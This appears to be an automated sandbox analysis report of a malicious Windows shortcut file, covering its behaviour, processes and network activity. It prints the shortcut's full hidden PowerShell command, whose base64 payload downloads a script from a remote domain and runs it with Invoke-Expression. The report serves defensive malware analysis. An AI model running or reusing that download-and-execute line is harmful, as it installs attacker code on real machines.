Malware Analysis Report

2024-11-13 13:52

Sample ID 240411-ws3kfaha67
Target DOC8934 - 89348934.lnk
SHA256 0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2
Tags
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

0b2fe8188163d143a4c7fe09ce892dcf45fe0e43ca869ec8e65cca020ee06cb2

Threat Level: Likely malicious

The file DOC8934 - 89348934.lnk was found to be: Likely malicious.

Malicious Activity Summary


Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-11 18:11

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-11 18:11

Reported

2024-04-11 18:22

Platform

win7-20240221-en

Max time kernel

363s

Max time network

366s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC8934 - 89348934.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1880 wrote to memory of 2752 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1880 wrote to memory of 2752 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1880 wrote to memory of 2752 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC8934 - 89348934.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2752-38-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

memory/2752-39-0x00000000024E0000-0x00000000024E8000-memory.dmp

memory/2752-40-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

memory/2752-42-0x0000000002950000-0x00000000029D0000-memory.dmp

memory/2752-41-0x0000000002950000-0x00000000029D0000-memory.dmp

memory/2752-43-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

memory/2752-44-0x0000000002950000-0x00000000029D0000-memory.dmp

memory/2752-45-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-11 18:11

Reported

2024-04-11 18:22

Platform

win10v2004-20240226-en

Max time kernel

590s

Max time network

599s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC8934 - 89348934.lnk"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4844 wrote to memory of 1768 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4844 wrote to memory of 1768 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC8934 - 89348934.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1424 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3556 --field-trial-handle=2180,i,12780723798465539942,12010519452607841069,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 28.143.109.104.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
GB 216.58.201.106:443 chromewebstore.googleapis.com tcp
US 8.8.8.8:53 106.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 210.143.182.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b2iftifh.x04.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1768-11-0x00000199FAA50000-0x00000199FAA72000-memory.dmp

memory/1768-12-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp

memory/1768-15-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

memory/1768-14-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

memory/1768-13-0x00000199FAA80000-0x00000199FAA90000-memory.dmp

memory/1768-18-0x00007FFAE3680000-0x00007FFAE4141000-memory.dmp